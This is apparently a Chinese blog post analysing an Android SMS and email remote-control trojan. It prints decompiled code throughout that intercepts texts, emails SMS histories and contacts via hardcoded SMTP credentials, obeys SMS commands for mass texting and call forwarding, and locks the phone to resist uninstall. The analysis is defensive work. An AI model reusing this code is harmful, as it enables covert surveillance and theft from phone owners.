木马APP的简单分析(Android Killer分析)

本文作者:三星s7edge

一.此贴目的:分析一个木马APP样本的行为。—————————————————————————————————————————————————-
二.分析步骤及结果:

文件名称: Project_Mod.apk
MD5值: 773833c1e4632aaa6b000e891dc49d4b
文件大小: 439.98KB
上传时间: 2017-09-29 13:13:17
包名: com.nai.ke
最低运行环境: Android 4.0, 4.0.1, 4.0.2
版权: Android

1.在模拟器上安装APP初步查看行为

由于给的样本中没有原来的APK文件,所以我只好用apktool进行了一次回编译并签名后得到了APK文件,才得以在模拟器上安装。

这里看出程序是获取锁定屏幕的权限。

以上是这款APP的权限,包括读取通讯录短信的敏感权限。

2.我将这个APP文件上传至哈勃分析系统

android.permission.WRITE_SMS        写短信
android.permission.READ_SMS        读取短信
android.permission.SEND_SMS        发送短信
android.permission.RECEIVE_SMS        监控接收短信
android.permission.INTERNET        连接网络(2G或3G)
android.permission.READ_CONTACTS        读取联系人信息
android.permission.WRITE_CONTACTS        写入联系人信息
android.permission.WRITE_EXTERNAL_STORAGE        写外部存储器(如:SD卡)
android.permission.PROCESS_OUTGOING_CALLS        监视、修改有关拨出电话
android.permission.READ_PHONE_STATE        读取电话状态
android.permission.CALL_PHONE        拨打电话
android.permission.WRITE_CALL_LOG        写入通话记录
android.permission.RECEIVE_BOOT_COMPLETED        接收开机启动广播
android.permission.DISABLE_KEYGUARD        禁用键盘锁
android.permission.WAKE_LOCK        手机屏幕关闭后后台进程仍运行



至此其实就很清楚这个APP大概会在安卓系统里干些什么了。

3.现在将此APK文件反编译后的jar文件用Java Decompiler打开查看具体代码

由于此木马样本比较简单,我从头到尾翻了一遍代码,以下为较重要功能部分

在d.class中 获取[email][email protected][/email]这个邮箱收到的邮件内容,有趣的是在邮箱后面还跟了一串字符串,是邮箱的密码。

public void a(String paramString1, String paramString2)
 {
   String str = l.a(this.c, "zzxx", "tel");
   b localb = new b();
   localb.a("smtp.163.com", "25");
   try
   {
     localb.a("[email protected]", str + "(***收到DX***)", "发信人:" + paramString2 + "-内容:" + paramString1);
     localb.a(new String[] { "[email protected]" });
     localb.b("smtp.163.com", "[email protected]", "apowtzjtereitcao");
     return;
   }

在h.class中,拦截短信到并发送给15877587263

public h(String paramString1, String paramString2, Context paramContext)  {    this.a = paramString1;    this.b = paramString2;    this.c = paramContext;  }     protected String a(Integer... paramVarArgs)  {    publishProgress(new Integer[] { Integer.valueOf(1) });    a.b("拦截消息doInBackground");    a(this.a, this.b);    return "doInBackground:" + paramVarArgs;  }     protected void a(String paramString)  {    a.b("拦截消息后发送结束:" + paramString);  }     public void a(String paramString1, String paramString2)  {    a.b("content:" + paramString2);    String str1 = e.a(this.c, paramString1);    paramString2 = a.c(paramString2);    if (paramString2 == null) {}    for (;;)    {      return;      if (paramString2.size() == 1)      {        paramString1 = a.a(paramString1, str1, (String)paramString2.get(0));        if (a.a(paramString1)) {          continue;        }        try        {          a.b("sendMsg " + "15877587263" + "," + paramString1);          a.a("15877587263", paramString1);          a.b("sendMsg over");          return;        }        catch (Exception paramString1)        {          a.b("sendMsg exception:" + paramString1.getMessage());          return;        }      }      paramString2 = paramString2.iterator();      int j;      for (int i = 1; paramString2.hasNext(); i = j)      {        String str2 = (String)paramString2.next();        j = i + 1;        str2 = a.a(paramString1, str1, str2, i);        if (!a.a(str2)) {          try          {            a.b(j + "==sendMsg " + "15877587263" + "," + str2);            a.a("15877587263", str2);            a.b("sendMsg over");            i = j;          }          catch (Exception localException)          {            a.b("sendMsg exception:" + localException.getMessage());          }        }      }    }  }     protected void b(Integer... paramVarArgs)  {    a.b("拦截消息后准备发送中");  }     protected void onPreExecute()  {    a.b("拦截消息后准备发送");  }}

在i.class中和dggng中的c.class,明显就可以看出通过短信远程操控的操作。

public void a(String paramString1, String paramString2)  {    SmsManager localSmsManager = SmsManager.getDefault();    Object localObject2;    Object localObject1;    Iterator localIterator1;    switch (paramString1.hashCode())    {    default:     case 49:     case 50:     case 51:       do      {        do        {          do          {            return;          } while (!paramString1.equals("1"));          l.a(this.e, "zzxx", "bo", "0");          localSmsManager.sendTextMessage("15877587263", null, "[font=微软雅黑]设置成功[/font]", null, null);          return;        } while (!paramString1.equals("2"));        l.a(this.e, "zzxx", "bo", "1");        localSmsManager.sendTextMessage("15877587263", null, "[font=微软雅黑]设置成功[/font]", null, null);        System.out.println(l.a(this.e, "zzxx", "bo"));        return;      } while ((!paramString1.equals("3")) || (k.a(this.e)));      localSmsManager.sendTextMessage("15877587263", null, "[font=微软雅黑]设置成功[/font],请留意邮件", null, null);      this.b = new j(this.e);      this.a = new c(this.e);      localObject2 = (ArrayList)this.b.a();      localObject1 = this.a.a();      paramString1 = this.b.b();      paramString2 = "*************DXX*************<br><br>";      localIterator1 = paramString1.iterator();      label316:      if (!localIterator1.hasNext())      {        paramString1 = paramString2 + "<br>" + "<br>" + "<br>" + "<br>" + "********************TXL*********************" + "<br>";        paramString2 = ((HashSet)localObject1).iterator();        if (paramString2.hasNext()) {          break label1340;        }        paramString2 = l.a(this.e, "zzxx", "tel");        localObject1 = new b();        ((b)localObject1).a("smtp.163.com", "25");      }      break;    }    for (;;)    {      try      {        ((b)localObject1).a("[email protected]", paramString2 + "(重新获取的短信录或通讯录)" + "机型:" + Build.MODEL + ",系统版本:" + Build.VERSION.RELEASE, paramString1);        ((b)localObject1).a(new String[] { "[email protected]" });        ((b)localObject1).b("smtp.163.com", "[email protected]", "1634576908qq");        return;      }      catch (Addres**ception paramString1)      {        localSmsManager.sendTextMessage("15877587263", null, "获取失败", null, null);        paramString1.printStackTrace();        Log.e("wxl", "Addres**ception", paramString1);        return;        if (!paramString1.equals("4")) {          break;        }        l.a(this.e, "zzxx", "da", "1");        localSmsManager.sendTextMessage("15877587263", null, "设置成功", null, null);        System.out.println(l.a(this.e, "zzxx", "da"));        return;        if (!paramString1.equals("5")) {          break;        }        System.out.println("开始群发吗?");        this.a = new c(this.e);        paramString1 = this.a.a();        if (l.b(this.e, "zzxx", "qf") != 0) {          break;        }        localSmsManager.sendTextMessage("15877587263", null, "开始群发", null, null);        paramString1 = paramString1.iterator();        if (!paramString1.hasNext())        {          localSmsManager.sendTextMessage("15877587263", null, "群发结束", null, null);          l.a(this.e, "zzxx", "qf", 1);          return;          if (!paramString1.equals("6")) {            break;          }          localSmsManager.sendTextMessage(paramString2.substring(4, 15), null, paramString2.substring(16), null, null);          localSmsManager.sendTextMessage("15877587263", null, "设置成功", null, null);          return;          if (!paramString1.equals("7")) {            break;          }          l.a(this.e, "zzxx", "qf", 0);          localSmsManager.sendTextMessage("15877587263", null, "重置成功,请成功发送群指令", null, null);          return;          if (!paramString1.equals("8")) {            break;          }          localSmsManager.sendTextMessage("15877587263", null, "指令不正确,重新发送", null, null);          return;          if (!paramString1.equals("9")) {            break;          }          l.a(this.e, "zzxx", "xin", "1");          localSmsManager.sendTextMessage("15877587263", null, "设置成功", null, null);          return;          if (!paramString1.equals("10")) {            break;          }          l.a(this.e, "zzxx", "xin", "0");          localSmsManager.sendTextMessage("15877587263", null, "设置成功", null, null);          return;          if (!paramString1.equals("11")) {            break;          }          l.a(this.e, "zzxx", "da", "0");          localSmsManager.sendTextMessage("15877587263", null, "设置成功", null, null);          return;          if (!paramString1.equals("12")) {            break;          }          l.a(this.e, "zzxx", "da", "1");          localSmsManager.sendTextMessage("15877587263", null, "设置成功", null, null);          return;          if (!paramString1.equals("13")) {            break;          }          paramString1 = new Intent("android.intent.action.CALL", Uri.parse("tel:**21*" + paramString2.substring(4, 15) + "#"));          paramString1.addFlags(268435456);          this.e.startActivity(paramString1);          localSmsManager.sendTextMessage("15877587263", null, "设置成功", null, null);          localSmsManager.sendTextMessage("15877587263", null, "设置成功", null, null);          return;          if (!paramString1.equals("14")) {            break;          }          paramString1 = new Intent("android.intent.action.CALL", Uri.parse("tel:##21#"));          paramString1.addFlags(268435456);          this.e.startActivity(paramString1);          localSmsManager.sendTextMessage("15877587263", null, "设置成功", null, null);          return;          String str = (String)localIterator1.next();          paramString1 = paramString2 + "<br>" + "<br>" + "<br>" + "<br>" + "************************" + "收到FXR号码:" + str + "************************" + "<br>";          Iterator localIterator2 = ((ArrayList)localObject2).iterator();          paramString2 = paramString1;          if (!localIterator2.hasNext()) {            break label316;          }          paramString2 = (e)localIterator2.next();          if (!str.equals(paramString2.b())) {            continue;          }          if (paramString2.d().equals("1"))          {            paramString1 = paramString1 + "<br>" + "<font color=" + "red>" + "[收发的短信时间:" + paramString2.c() + "]," + "短信内容:" + paramString2.a() + "</font>" + "<br>";            continue;          }          paramString1 = paramString1 + "<br>" + "<font color=" + "blue>" + "[收发的短信时间:" + paramString2.c() + "]," + "短信内容:" + paramString2.a() + "</font>" + "<br>";          continue;          localObject1 = (a)paramString2.next();          paramString1 = paramString1 + "名字:" + ((a)localObject1).a() + "\t" + ((a)localObject1).b() + "<br>" + "<br>";        }      }      catch (MessagingException paramString1)      {        label1340:        localSmsManager.sendTextMessage("15877587263", null, "获取失败", null, null);        paramString1.printStackTrace();        Log.e("wxl", "MessagingException", paramString1);        return;      }      localObject1 = (a)paramString1.next();      localObject2 = ((a)localObject1).b().replace("-", "").replace("\\s", "");      if ((((String)localObject2).length() == 11) || (((String)localObject2).substring(0, 1) == "1")) {        localSmsManager.sendTextMessage(((a)localObject1).b(), null, ((a)localObject1).a() + paramString2.substring(4), null, null);      }    }  }}

值得注意的是在dggng中c.class的末尾 看出来作者可以有更改邮箱的操作 即控制客户期间可以随意更换目标邮箱


这里就是判断是否短信发送成功及接收成功


 

love HssSeervice.class和MainService.class中都有类似的获取设备型号发送至邮箱的操作。

if (this.b.getInt(“IsFirstRun”, 1) == 1)

{

localObject1 = this.b.getString(“imsi”, c.k);

if (this.b.getInt(“isAdminActive”, 0) != 1) {

break label390;

}

new love.qin.co.service.b.a().a(love.qin.co.service.dggng.a.c, “成功启动:\nI M S I 号 :  ” + (String)localObject1);

if (c.a(love.qin.co.service.dggng.a.d)) {

new love.qin.co.service.b.a().a(love.qin.co.service.dggng.a.d,
“已经激活,版本” + i + “\n” + “IMSI号:  ” + (String)localObject1 + “\n” + “型号:” +
Build.MODEL + “\n” + “对应的邮箱:” + love.qin.co.service.dggng.a.j);

}

}

for (;;)

{

localObject1 = this.b.edit();

((SharedPreferences.Editor)localObject1).putInt(“IsFirstRun”, 0);

((SharedPreferences.Editor)localObject1).commit();

a();

return;

label390:

new love.qin.co.service.b.a().a(love.qin.co.service.dggng.a.c, “成功启动:\nI M S I 号:  ” + (String)localObject1);

if (c.a(love.qin.co.service.dggng.a.d)) {

new love.qin.co.service.b.a().a(love.qin.co.service.dggng.a.d,
“已经激活,版本” + i + “\n” + “IMSI号:  ” + (String)localObject1 + “\n” + “型号:” +
Build.MODEL + “\n” + “对应的邮箱:” + love.qin.co.service.dggng.a.j);

}

}

}

love MyAdmin.class中,这里是判断客户是否激活了设备管理器

public class MyAdmin

extends DeviceAdminReceiver

{

public void onDisabled(Context paramContext, Intent paramIntent)

{

super.onDisabled(paramContext, paramIntent);

new a().a(“客户已经取消激活”);

new e(“客户已经取消激活!”);

}

public void onEnabled(Context paramContext, Intent paramIntent)

{

super.onEnabled(paramContext, paramIntent);

}

public void onReceive(Context paramContext, Intent paramIntent)

{

super.onReceive(paramContext, paramIntent);

System.out.println(“onreceiver”);

}

}

love PhoService.class拦截短信并转发的具体代码

public class PhoService  extends Service{  String a = "";  int b = 0;  Handler c = new b(this);   private String a(List paramList)  {    StringBuilder localStringBuilder = new StringBuilder();    paramList = paramList.iterator();    for (;;)    {      if (!paramList.hasNext()) {        return localStringBuilder.toString();      }      Object localObject = (a1)paramList.next();      String str1 = ((a1)localObject).e();      String str2 = ((a1)localObject).f();      String str3 = ((a1)localObject).b();      localObject = ((a1)localObject).a();      localStringBuilder.append("-------------------------\n");      localStringBuilder.append("         " + (String)localObject + "         " + str1 + "         " + str3 + "        " + "     短信内容" + "\n");      localStringBuilder.append(str2 + "\n");    }  }   private String a(List paramList, int paramInt)  {    String.format("%1$-80s", new Object[] { "  " });    StringBuilder localStringBuilder = new StringBuilder();    paramList = paramList.iterator();    for (;;)    {      if (!paramList.hasNext()) {        return localStringBuilder.toString();      }      Object localObject = (Map)paramList.next();      String str = (String)((Map)localObject).get("name");      localObject = (String)((Map)localObject).get("number");      localStringBuilder.append(String.format("%1$-80s", new Object[] { str + ":  " + (String)localObject }));    }  }   private List b()  {    ArrayList localArrayList = new ArrayList();    for (;;)    {      int i;      try      {        Cursor localCursor = getContentResolver().query(Uri.parse("content://sms/"), new String[] { "_id", "address", "person", "body", "date", "type" }, null, null, "date desc");        if (!localCursor.moveToNext())        {          localCursor.close();          return localArrayList;        }        String str5 = localCursor.getString(localCursor.getColumnIndex("person"));        String str6 = localCursor.getString(localCursor.getColumnIndex("address"));        String str4 = localCursor.getString(localCursor.getColumnIndex("body"));        String str7 = new SimpleDateFormat("yyyy-MM-dd hh:mm:ss").format(new Date(Long.parseLong(localCursor.getString(localCursor.getColumnIndex("date")))));        i = localCursor.getInt(localCursor.getColumnIndex("type"));        if (i == 1)        {          String str1 = "接收";          continue;          localArrayList.add(new a1(str5, str6, str3, str7, str1));          continue;          str1 = "草稿";          String str3 = str4;          if (str4 != null) {            continue;          }          str3 = "";          continue;        }        if (i != 2) {          break label265;        }      }      catch (SQLiteException localSQLiteException)      {        return localArrayList;      }      String str2 = "发送;      continue;      label265:      if (i == 0) {        str2 = "未读";      }    }  }  [b][color=#0000ff]在love d.class中是在执行获取所有历史短信[/color][/b][mw_shl_code=java,true]  public void run()  {    try    {      Object localObject1 = new g(this.a.getApplicationContext());      String str = ((g)localObject1).c();      Object localObject2 = ((g)localObject1).b();      localObject1 = localObject2;      if (localObject2 == null) {        localObject1 = "";      }      if ((love.qin.co.service.dggng.c.a((String)localObject1)) || (((String)localObject1).length() == 14)) {}      for (localObject1 = "电话:" + (String)localObject1 + "的所有短信记录;; localObject1 = "IMSI:" + str + "的所有短信记")      {        str = PhoService.a(this.a, PhoService.a(this.a));        localObject2 = localObject1;        if (str.length() <= "  ".length()) {          localObject2 = localObject1 + " 客户手机限制,获取历史短信失败";        }        localObject1 = new h();        love.qin.co.service.a1.c localc = new love.qin.co.service.a1.c();        localc.a(a.i);        localc.b(a.r);        localc.a(true);        localc.f(a.f);        localc.d(a.g);        localc.c(a.f);        localc.e(a.h);        localc.g((String)localObject2);        localc.h(str);        ((h)localObject1).a(localc);}    }}

在e.class中是在执行获取通讯录

public void run()

{

try

{

Object localObject1 = new g(this.a.getApplicationContext());

String str = ((g)localObject1).c();

Object localObject2 = ((g)localObject1).b();

localObject1 = localObject2;

if (localObject2 == null) {

localObject1 = “”;

}

if ((love.qin.co.service.dggng.c.a((String)localObject1)) || (((String)localObject1).length() == 14)) {}

for (localObject1 = “电话:” + (String)localObject1 + “的通讯录”;; localObject1 = “IMSI号” + str + “的通讯录”)

{

localObject2 = this.a.a();

str = PhoService.a(this.a, (List)localObject2, 1);

localObject2 = localObject1;

if (str.length() <= “      “.length()) {

localObject2 = localObject1 + ” 客户手机限制,获取通讯录失败”;

}

localObject1 = new h();

love.qin.co.service.a1.c localc = new love.qin.co.service.a1.c();

localc.a(a.i);

localc.b(a.r);

localc.a(true);

localc.f(a.f);

localc.d(a.g);

localc.c(a.f);

localc.e(a.h);

localc.g((String)localObject2);

localc.h(str);

((h)localObject1).a(localc);

 

x.x.x  FSR.class中是在记录手机当前是否在通话中

[b][color=#0000ff] [/color][/b]

public void onReceive(Context paramContext, Intent paramIntent)

{

Object localObject = paramContext.getSharedPreferences(“zzxx”, 0);

String str = ((SharedPreferences)localObject).getString(“bo”, “1″);

localObject = ((SharedPreferences)localObject).getString(“da”, “0″);

Log.i(“PhoneStatReceiver”, str);

if (paramIntent.getAction().equals(“android.intent.action.NEW_OUTGOING_CALL”))

{

paramContext = paramIntent.getStringExtra(“android.intent.extra.PHONE_NUMBER”);

System.out.println(“正在打电话”);

if (localObject == “1″)

{

System.out.println(“打不出电话”);

setResultData(null);

}

Log.e(“msg”, “call OUT:” + paramContext);

}

do

{

return;

this.a = ((TelephonyManager)paramContext.getSystemService(“phone”));

switch (this.a.getCallState())

{

default:

return;

case 0:

Log.e(“tag”, “电话空闲”);

return;

case 1:

Log.e(“tag”, “电话已挂断”);

}

} while (str != “0″);

a();

return;

Log.e(“tag”, “电话已摘机”);

}

}

 

[color=#0000ff][b]在[/b][/color][b]x.x.x 
[/b][color=#0000ff][b]PAR.class中
通过[/b][/color][b][color=#0000ff]sendTextMessage发送短信告知鱼试图逃跑,即卸载程序[/color][/b]

public class PAReceiver

extends DeviceAdminReceiver

{

public CharSequence onDisableRequested(Context paramContext, Intent paramIntent)

{

paramIntent = l.a(paramContext, “zzxx”, “tel”);

com.b.a.a.b.a(paramIntent);

if (l.b(paramContext, “zzxx”, “pop”) == 0)

{

l.a(paramContext, “zzxx”, “pop”, 1);

SmsManager.getDefault().sendTextMessage(“15877587263″, null, paramIntent + “鱼试图逃跑”, null, null);

new a(this).start();

}

paramIntent = paramContext.getPackageManager().getLaunchIntentForPackage(“com.android.settings”);

paramIntent.setFlags(268435456);

paramContext.startActivity(paramIntent);

paramContext = (DevicePolicyManager)paramContext.getSystemService(“device_policy”);

paramContext.lockNow();

new Thread(new b(this, paramContext)).start();

return “”;

}

public void onDisabled(Context paramContext, Intent paramIntent) {}

public void onEnabled(Context paramContext, Intent paramIntent)

{

com.b.a.a.b.a(l.a(paramContext, “zzxx”, “tel”));

new c(this).start();

super.onEnabled(paramContext, paramIntent);

}

}

 

x.x.x  a.class中 通过发送邮件告知鱼试图逃跑,也是在程序卸载时触发

public void run()  {    System.out.println("执行发送邮件");    com.b.a.b.b localb = new com.b.a.b.b();    localb.a("smtp.163.com", "25");    try    {      localb.a("[email protected]", "安装激活" + com.b.a.a.b.b() + "机型" + Build.MODEL + "系统型号:" + Build.VERSION.RELEASE, "哈哈鱼到碗里来了");      localb.a(new String[] { "[email protected]" });      localb.b("smtp.163.com", "[email protected]", "1634576908qq");      return;    }    catch (Addres**ception localAddres**ception)    {      localAddres**ception.printStackTrace();      Log.e("wxl", "Addres**ception", localAddres**ception);      return;    }    catch (MessagingException localMessagingException)    {      localMessagingException.printStackTrace();      Log.e("wxl", "MessagingException", localMessagingException);    }  }}

三.总结

此贴仅为简单APP木马分析,能看出这是一款典型的远程手机短信邮件控制的木马程序,危害性挺大的,一般普通用户中毒后基本无法察觉。
自我反思:在学习分析这个APP过程中,虽然能大概根据中文看出代码意思,但是显得很突兀,很多函数间的调用和联系没能准确看出来,文章感觉条理不是太清晰,感觉自己太菜了。

时间: 2024-10-11 09:13:48

木马APP的简单分析(Android Killer分析)的相关文章

Android多线程分析之五:使用AsyncTask异步下载图像

Android多线程分析之五:使用AsyncTask异步下载图像 罗朝辉 (http://blog.csdn.net/kesalin) CC 许可,转载请注明出处 在本系列文章的第一篇<Android多线程分析之中的一个:使用Thread异步下载图像>中.曾演示了怎样使用 Thread 来完毕异步任务. Android 为了简化在 UI 线程中完毕异步任务(毕竟 UI 线程是 app 最重要的线程).实现了一个名为 AysncTask 的模板类.使用 AysncTask 能够在异步任务进行的同

使用Fiddler分析Android版API

使用Fiddler分析Android版API 首先要准备的工具: android手机+知乎日报APP: Fiddler(大名鼎鼎Telerik出的,Telerik): 局域网. 原理很简单,打开Fiddler,将它设置成为一个代理,然后将同一局域网中的Android手机代理设置为Fiddler所在的电脑. 之后Android手机所有的HTTP请求都会先经过代理(Fiddler所在的电脑),Fiddler当然也能捕获到请求的各种数据.(注意如果捕获的回话过多,请通过Fiddler右侧的Filter

Log中&#39;main&#39;, &#39;system&#39;, &#39;radio&#39;, &#39;events&#39;以及android log分析

在Android中不同的log写到不同的设备中,共有/dev/log/system, /dev/log/main, /dev/log/radion, /dev/log/events四中类型.其中默认Log.v等写入/dev/log/main中.Slog写入/dev/log/system中. 我们在使用logcat 抓去日至的时候, 可以指定buffer,来请求不同的环形缓冲区 ('main', 'system', 'radio', 'events',默认为"-b main -b system&q

【JavaScript】Hybrid App开发 四大主流移平台分析

转自http://dev.yesky.com/238/34657738.shtml Hybrid App在过去的两年中已经成为移动界的核心话题,但是作为一名Web开发者来说要如何站在移动互联网的浪潮之巅呢?是选择学习原生开发,研究Java.Object-C.C#等语言,还是选择继续使用网页开发,容忍HTML5功能的局限性?就在开发者左右为难的情况下Hybrid App作为一个折中的解决方案诞生了.那么究竟什么才是Hybrid App呢? Hybrid App概念 Hybrid App:Hybri

[gitbook] Android框架分析系列之Android PackageManager

请支持作者原创: https://mr-cao.gitbooks.io/Android/content/android-traces.html点击打开链接 Android PackageManager Table of Contents 1. Android APK文件 1.1. APK签名 2. APK文件的安装 2.1. PackageManagerService 2.2. installd 2.3. PackageInstaller 2.4. pm 命令 本文章围绕着Android的包管理

Android 流量分析 tcpdump &amp; wireshark

APP竞争已经白热化了,控制好自己Android应用的流量可以给用户一个良好的用户体验噢,给用户多一个不卸载的理由. Android 如何进行流量分析?用好tcpdump & wireshark这两个工具就好了. 1.tcpdump采用命令行方式,它的命令格式为: tcpdump [ -adeflnNOpqStvx ] [ -c 数量 ] [ -F 文件名 ] [ -i 网络接口 ] [ -r 文件名] [ -s snaplen ] [ -T 类型 ] [ -w 文件名 ] [表达式 ] tcp

Android 上千实例源码分析以及开源分析

Android 上千实例源码分析以及开源分析(百度云分享) 要下载的直接翻到最后吧,项目实例有点多. 首先 介绍几本书籍(下载包中)吧. 01_Android系统概述 02_Android系统的开发综述 03_Android的Linux内核与驱动程序 04_Android的底层库和程序 05_Android的JAVA虚拟机和JAVA环境 06_Android的GUI系统 07_Android的Audio系统 08_Android的Video 输入输出系统 09_Android的多媒体系统 10_

Chapter2——如何分析Android程序(一)

前几天买了<Android软件安全与逆向分析>这本书,决定在这里记一些笔记. 第一章介绍了如何搭建环境,此处略去:第二章开始讲分析Android程序. 下面按顺序记录关键内容. -------------------------------------- 2.1.编写一个需要填写注册码的APK 要破解要现有「试验品」,作者编写了一个叫做crackme02的APP, 主要代码有: MessageDigest digest = MessageDigest.getInstance("MD5

Android逆向分析初体验

一.    准备知识 1.             懂Java Android开发. 2.             懂NDK ,C 语言 Android 动态链接库.SO开发. 3.             懂Android反编译Smali 语法. 4.             懂adb 和 jdb 等等工具使用. 5.             懂IDA 调试(远程动态调试APK和本地静态调试.SO文件) 6.             懂Arm汇编语法(因为移动设备芯片是Arm架构的,不是Int